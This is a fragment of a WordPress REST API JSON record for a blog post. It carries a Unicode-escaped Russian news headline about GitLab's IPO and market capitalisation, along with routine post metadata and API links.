GitLab, \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0439 \u0443\u043a\u0440\u0430\u0438\u043d\u0446\u0430\u043c\u0438, \u0432\u044b\u0448\u0435\u043b \u043d\u0430 IPO: \u0440\u044b\u043d\u043e\u0447\u043d\u0430\u044f \u043a\u0430\u043f\u0438\u0442\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f \u0434\u043e\u0441\u0442\u0438\u0433\u043b\u0430 \u043f\u043e\u0447\u0442\u0438 15 \u043c\u043b\u0440\u0434 \u0434\u043e\u043b\u043b\u0430\u0440\u043e\u0432 \u042d\u043a\u043e\u043d\u043e\u043c\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u043f\u0440\u0430\u0432\u0434\u0430<\/span><\/a>","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[65],"tags":[],"class_list":["post-778","post","type-post","status-publish","format-standard","hentry","category-it-obrazovanie"],"acf":[],"_links":{"self":[{"href":"https:\/\/oncillalabs.com\/FOTD2023\/Design\/v5\/wp-json\/wp\/v2\/posts\/778","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/oncillalabs.com\/FOTD2023\/Design\/v5\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/oncillalabs.com\/FOTD2023\/Design\/v5\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/oncillalabs.com\/FOTD2023\/Design\/v5\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/oncillalabs.com\/FOTD2023\/Design\/v5\/wp-json\/wp\/v2\/comments?post=778"}],"version-history":[{"count":2,"href":"https:\/\/oncillalabs.com\/FOTD2023\/Design\/v5\/wp-json\/wp\/v2\/posts\/778\/revisions"}],"predecessor-version":[{"id":1308,"href":"https:\/\/oncillalabs.com\/FOTD2023\/Design\/v5\/wp-json\/wp\/v2\/posts\/778\/revisions\/1308"}],"wp:attachment":[{"href":"https:\/\/oncillalabs.com\/FOTD2023\/Design\/v5\/wp-json\/wp\/v2\/media?parent=778"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/oncillalabs.com\/FOTD2023\/Design\/v5\/wp-json\/wp\/v2\/categories?post=778"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/oncillalabs.com\/FOTD2023\/Design\/v5\/wp-json\/wp\/v2\/tags?post=778"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}